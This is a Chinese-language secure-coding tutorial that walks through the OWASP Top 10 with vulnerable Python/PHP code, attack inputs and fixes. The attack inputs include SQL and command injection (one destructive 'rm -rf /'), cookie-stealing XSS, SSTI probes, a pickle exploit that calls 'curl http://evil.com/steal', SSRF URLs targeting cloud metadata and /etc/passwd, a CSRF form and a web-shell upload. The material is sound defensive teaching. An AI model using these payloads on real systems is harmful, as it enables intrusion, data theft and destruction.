Web 应用常见漏洞与防御:OWASP Top 10 实战讲解

据 Akamai 报告,2026 年 Web 应用攻击同比增长 40%,其中注入攻击和身份认证失效占比最高。无论你是开发者还是运维,了解 Web 应用常见漏洞都是必修课。本文基于 OWASP Top 10(2021 版),通过真实案例 + 代码讲解,带你建立完整的 Web 安全防护意识。

一、什么是 OWASP

OWASP(Open Worldwide Application Security Project)是全球最权威的 Web 安全组织,定期发布 Top 10 漏洞榜单,代表最常见、最危险的 Web 安全风险。

OWASP Top 10 (2021):

A01 - 访问控制失效 (Broken Access Control)
A02 - 加密机制失效 (Cryptographic Failures)
A03 - 注入 (Injection)
A04 - 不安全设计 (Insecure Design)
A05 - 安全配置错误 (Security Misconfiguration)
A06 - 易受攻击和过时的组件 (Vulnerable Components)
A07 - 身份认证失效 (Identification & Authentication Failures)
A08 - 软件和数据完整性失效 (Software & Data Integrity Failures)
A09 - 安全日志和监控失效 (Security Logging & Monitoring Failures)
A10 - 服务端请求伪造 (SSRF)

二、A01 访问控制失效

漏洞描述

用户能访问未授权的资源或功能。比如普通用户访问管理后台、修改他人订单。

典型案例

# 漏洞代码:直接用客户端传入的 user_id 查询
@app.route('/api/orders')
def get_orders():
    user_id = request.args.get('user_id')  # 攻击者改成别人的 ID
    orders = Order.query.filter_by(user_id=user_id).all()
    return jsonify([o.to_dict() for o in orders])

攻击:

1	GET /api/orders?user_id=1001 # 查看 1001 号用户的订单

修复

# 修复:从 session 获取当前用户,而不是从请求参数
@app.route('/api/orders')
@login_required
def get_orders():
    user_id = current_user.id  # 从服务端 session 获取
    orders = Order.query.filter_by(user_id=user_id).all()
    return jsonify([o.to_dict() for o in orders])

防御原则

永远从服务端获取当前用户身份
每次请求都做权限校验,不要依赖前端隐藏按钮
强制使用最小权限原则
拒绝默认允许,默认拒绝

三、A02 加密机制失效

常见问题

使用 HTTP(明文传输)
弱密码算法(MD5、SHA1)
密钥硬编码在代码里
敏感数据明文存储

案例:密码存储

# 错误示范
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
db.save_user(name, password_hash)

问题:MD5 太快,彩虹表秒破。

修复:使用 bcrypt

import bcrypt

# 注册
password_bytes = password.encode('utf-8')
salt = bcrypt.gensalt(rounds=12)  # cost=12 较安全
hashed = bcrypt.hashpw(password_bytes, salt)
db.save_user(name, hashed)

# 登录
if bcrypt.checkpw(password.encode('utf-8'), stored_hash):
    # 登录成功

HTTPS 配置

server {
    listen 443 ssl http2;
    
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
    ssl_prefer_server_ciphers on;
    
    # HSTS(强制 HTTPS)
    add_header Strict-Transport-Security "max-age=63072000" always;
}

# HTTP 跳转 HTTPS
server {
    listen 80;
    return 301 https://$host$request_uri;
}

加密算法选择

用途	推荐算法	不推荐
密码哈希	bcrypt / Argon2 / scrypt	MD5 / SHA1 / SHA256
数据加密	AES-256-GCM	DES / 3DES
数字签名	Ed25519 / RSA-PSS	RSA-PKCS1
TLS	TLS 1.3 / TLS 1.2	SSL 3.0 / TLS 1.0

四、A03 注入漏洞(最经典)

SQL 注入

漏洞代码

1
2
3

# 错误示范:字符串拼接
query = f"SELECT * FROM users WHERE name='{username}' AND password='{password}'"
db.execute(query)

攻击:

1 2	username: ' OR '1'='1 password: 任意

最终 SQL:

1	SELECT * FROM users WHERE name='' OR '1'='1' AND password='任意'

由于 '1'='1' 恒为真,返回所有用户。

修复:参数化查询

1
2
3

# 正确:使用参数化
query = "SELECT * FROM users WHERE name=%s AND password=%s"
db.execute(query, (username, password))

各种语言:

# Python (PyMySQL)
cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,))

# Java (JDBC)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?");
stmt.setInt(1, user_id);

# PHP (PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$user_id]);

命令注入

漏洞代码

# 错误:直接拼接到 shell
import os
ip = request.args.get('ip')
os.system(f"ping -c 4 {ip}")

攻击:

1	ip: 8.8.8.8; rm -rf /

修复

# 正确:使用参数列表,避免 shell
import subprocess
ip = request.args.get('ip')
subprocess.run(["ping", "-c", "4", ip], check=True)

XSS(跨站脚本)

反射型 XSS

1 2	<!-- 漏洞代码 --> <div>欢迎您,<?php echo $_GET['name']; ?></div>

攻击:

1	?name=<script>alert(document.cookie)</script>

存储型 XSS(更危险)

# 用户评论保存到数据库,其他用户访问时执行
@app.route('/comment', methods=['POST'])
def comment():
    content = request.form['content']
    db.execute("INSERT INTO comments (content) VALUES (%s)", (content,))

攻击:评论里写 <script>fetch('/steal?c='+document.cookie)</script>

修复

输出编码:HTML 转义

from markupsafe import escape

@app.route('/hello')
def hello():
    name = request.args.get('name')
    return f"欢迎您,{escape(name)}"  # 自动转义 < > & " '

Content-Security-Policy

1	<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

HttpOnly Cookie(防 cookie 窃取)

1	response.set_cookie('session', value, httponly=True, secure=True)

模板注入(SSTI)

# 错误:用用户输入渲染模板
from flask import render_template_string
@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template_string(f"Hello {name}")

攻击:

1 2	?name={{config.items()}} ?name={{''.__class__.__mro__[1].__subclasses__()}}

修复

# 正确:用模板变量
from flask import render_template
@app.route('/hello')
def hello():
    name = request.args.get('name')
    return render_template('hello.html', name=name)

五、A04 不安全设计

案例:无密码策略

# 错误:接受任何密码
def register(username, password):
    user = User(username=username, password=password)
    db.save(user)

攻击:用户注册 123456 当密码。

修复

# 强密码策略
import re

def validate_password(password):
    if len(password) < 12:
        raise ValueError("密码至少 12 位")
    if not re.search(r'[A-Z]', password):
        raise ValueError("必须包含大写字母")
    if not re.search(r'[a-z]', password):
        raise ValueError("必须包含小写字母")
    if not re.search(r'[0-9]', password):
        raise ValueError("必须包含数字")
    if not re.search(r'[!@#$%^&*]', password):
        raise ValueError("必须包含特殊字符")
    
    # 检查是否在泄露密码列表中
    if password in COMMON_PASSWORDS:
        raise ValueError("密码过于简单")

限流设计

# 防止暴力破解
from flask_limiter import Limiter

limiter = Limiter(app, key_func=lambda: request.remote_addr)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 每分钟最多 5 次
def login():
    # 登录逻辑
    pass

业务逻辑漏洞

# 漏洞:修改订单价格
@app.route('/order/update', methods=['POST'])
def update_order():
    order_id = request.form['order_id']
    new_price = request.form['price']  # 用户传入
    order = Order.get(order_id)
    order.price = new_price  # 直接覆盖
    db.save(order)

修复:服务端重新计算价格,不允许客户端传入。

六、A05 安全配置错误

常见配置问题

配置	错误	正确
默认账号	admin/admin 未改	强制首次登录修改
错误信息	显示堆栈给用户	只显示友好提示
目录浏览	开启	关闭
CORS	`Access-Control-Allow-Origin: *`	配置白名单
HTTP 头	缺失安全头	完整安全头

安全 HTTP 头

# Nginx 配置
add_header X-Frame-Options "SAMEORIGIN" always;        # 防点击劫持
add_header X-Content-Type-Options "nosniff" always;   # 防 MIME 嗅探
add_header X-XSS-Protection "1; mode=block" always;   # 浏览器 XSS 过滤
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=()" always;

生产环境检查清单

关闭目录浏览
修改默认密码
禁用调试模式(DEBUG=False)
关闭不必要的服务端口
删除示例代码
配置防火墙
HTTPS 强制

七、A06 易受攻击和过时的组件

风险

框架 / 库的已知漏洞
未及时更新
供应链攻击

防御

定期扫描

# Python
pip install safety
safety check

# Node.js
npm audit

# Java
mvn dependency-check:check

及时更新

# 自动更新(谨慎!)
npm update
pip install --upgrade package

# 但要在测试环境验证后再生产更新

依赖锁定

1
2
3

package-lock.json / yarn.lock
Pipfile.lock / poetry.lock
go.sum

SCA 工具

Snyk
Dependabot(GitHub 内置)
OWASP Dependency-Check

八、A07 身份认证失效

常见问题

弱密码允许
无登录失败锁定
Session ID 在 URL 中泄露
JWT 过期时间过长 / 不刷新

修复方案

# 登录失败锁定
from django.contrib.auth import authenticate
from axes.handlers import AxesHandler

def login_view(request):
    if request.method == 'POST':
        # Axes 自动检查失败次数,5 次锁定 30 分钟
        user = authenticate(
            request,
            username=request.POST['username'],
            password=request.POST['password']
        )
        if user is not None:
            login(request, user)
            return redirect('/')
        else:
            return render(request, 'login.html', {'error': '账号或密码错误'})

Session 安全

# 配置
SESSION_COOKIE_SECURE = True       # 仅 HTTPS 传输
SESSION_COOKIE_HTTPONLY = True     # JS 不可访问
SESSION_COOKIE_SAMESITE = 'Lax'   # CSRF 防护
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
PERMANENT_SESSION_LIFETIME = timedelta(hours=2)  # 2 小时过期

多因素认证

JWT 安全

import jwt

# 生成 token(短期访问 + 长期刷新)
def login(user):
    access_token = jwt.encode(
        {'user_id': user.id, 'exp': datetime.utcnow() + timedelta(minutes=15)},
        SECRET_KEY,
        algorithm='HS256'
    )
    refresh_token = jwt.encode(
        {'user_id': user.id, 'exp': datetime.utcnow() + timedelta(days=7)},
        REFRESH_SECRET_KEY,
        algorithm='HS256'
    )
    return access_token, refresh_token

# 验证
def verify(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        return None  # token 过期
    except jwt.InvalidTokenError:
        return None  # token 无效

九、A08 软件和数据完整性失效

案例:不安全的反序列化

# 危险:反序列化不可信数据
import pickle

@app.route('/api/data', methods=['POST'])
def load_data():
    data = pickle.loads(request.data)  # 可执行任意代码!
    return jsonify(data)

攻击:

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://evil.com/steal',))

payload = pickle.dumps(Exploit())
requests.post('http://target/api/data', data=payload)

修复

# 使用 JSON 而不是 pickle
import json

@app.route('/api/data', methods=['POST'])
def load_data():
    data = json.loads(request.data)  # 安全
    return jsonify(data)

供应链安全

校验第三方库签名
校验下载文件的哈希
使用受信源(npm 官方、PyPI 官方)

十、A09 安全日志和监控失效

应该记录的事件

登录失败 / 成功
权限校验失败
异常流量
关键操作(支付、改密)

日志规范

import logging

logger = logging.getLogger('security')

def login_attempt(username, ip, success):
    if success:
        logger.info(
            "Login success",
            extra={
                'event': 'login_success',
                'username': username,
                'ip': ip,
                'timestamp': datetime.utcnow().isoformat()
            }
        )
    else:
        logger.warning(
            "Login failed",
            extra={
                'event': 'login_failed',
                'username': username,
                'ip': ip,
                'user_agent': request.user_agent.string,
                'timestamp': datetime.utcnow().isoformat()
            }
        )

集成 SIEM

ELK Stack(Elasticsearch + Logstash + Kibana)
Splunk
Grafana Loki
阿里云日志服务 / 腾讯云 CLS

告警规则

# 告警示例
- alert: 多次登录失败
  expr: sum(rate(login_failures_total[5m])) > 10
  for: 2m
  annotations:
    summary: "检测到可能的暴力破解攻击"

十一、A10 服务端请求伪造(SSRF)

漏洞描述

服务端未经严格校验就访问用户提供的 URL。

案例

# 漏洞:从 URL 获取图片
@app.route('/fetch_image')
def fetch_image():
    url = request.args.get('url')
    resp = requests.get(url)  # 可访问内网!
    return resp.content

攻击:

1
2
3

?url=http://169.254.169.254/latest/meta-data/  # AWS 元数据
?url=http://localhost:6379/                     # 内网 Redis
?url=file:///etc/passwd                         # 本地文件

修复

import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ['http', 'https']:
            return False
        
        # 解析主机名对应的 IP
        import socket
        ip = socket.gethostbyname(parsed.hostname)
        ip_obj = ipaddress.ip_address(ip)
        
        # 禁止内网地址
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved:
            return False
        
        return True
    except Exception:
        return False

@app.route('/fetch_image')
def fetch_image():
    url = request.args.get('url')
    if not is_safe_url(url):
        return "Invalid URL", 400
    resp = requests.get(url, timeout=5)
    return resp.content

十二、其他重要漏洞

CSRF(跨站请求伪造)

<!-- 攻击者在第三方网站的恶意表单 -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

防御:

# Django:CSRF token 中间件(默认开启)
# Flask:Flask-WTF
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = '...'
csrf = CSRFProtect(app)

# SameSite Cookie
SESSION_COOKIE_SAMESITE = 'Lax'

文件上传漏洞

# 漏洞:不校验文件类型
@app.route('/upload', methods=['POST'])
def upload():
    f = request.files['file']
    f.save(f'/var/www/uploads/{f.filename}')

# 攻击:上传 shell.php
# 访问 http://target/uploads/shell.php

修复:

import magic  # python-magic
import os

ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/gif']
UPLOAD_DIR = '/var/www/uploads'

@app.route('/upload', methods=['POST'])
def upload():
    f = request.files['file']
    
    # 1. 检查文件大小
    if len(f.read()) > 5 * 1024 * 1024:
        return "文件过大", 400
    f.seek(0)
    
    # 2. 检查真实 MIME 类型(不依赖客户端 Content-Type)
    mime = magic.from_buffer(f.read(1024), mime=True)
    f.seek(0)
    if mime not in ALLOWED_TYPES:
        return "文件类型不允许", 400
    
    # 3. 重新生成文件名(防覆盖 + 防注入)
    ext = os.path.splitext(f.filename)[1].lower()
    if ext not in ['.jpg', '.jpeg', '.png', '.gif']:
        return "扩展名不允许", 400
    
    new_name = f'{uuid.uuid4()}{ext}'
    f.save(os.path.join(UPLOAD_DIR, new_name))
    
    return "上传成功"

XXE(XML 外部实体)

# 漏洞:解析不可信 XML
import xml.etree.ElementTree as ET

@app.route('/api/xml', methods=['POST'])
def parse_xml():
    data = request.data
    root = ET.fromstring(data)  # XXE!

修复:禁用外部实体

import defusedxml.ElementTree as ET

@app.route('/api/xml', methods=['POST'])
def parse_xml():
    root = ET.fromstring(request.data)  # 安全

十三、防御工具与平台

WAF(Web 应用防火墙)

ModSecurity(开源)
Cloudflare WAF
阿里云 WAF / 腾讯云 WAF
长亭雷池(国产开源)

SAST(静态扫描)

SonarQube
Semgrep
Bandit(Python)

DAST(动态扫描)

OWASP ZAP(免费)
Burp Suite
Nessus

漏洞扫描平台

Vulners
CVE Details
NVD(美国国家漏洞库)

十四、安全开发流程

SDL(Security Development Lifecycle)

需求阶段 → 安全需求分析
设计阶段 → 威胁建模(STRIDE)
编码阶段 → 安全编码规范 + SAST
测试阶段 → DAST + 渗透测试
发布阶段 → 安全审计 + 配置基线
运维阶段 → 漏洞监控 + 应急响应

CI/CD 集成安全扫描

# GitHub Actions 示例
name: Security Scan

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # SAST
      - name: Run Semgrep
        run: |
          pip install semgrep
          semgrep --config=auto .
      
      # 依赖检查
      - name: Run Snyk
        uses: snyk/actions/python@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
      
      # 密钥扫描
      - name: GitGuardian
        uses: GitGuardian/ggshield-action@v1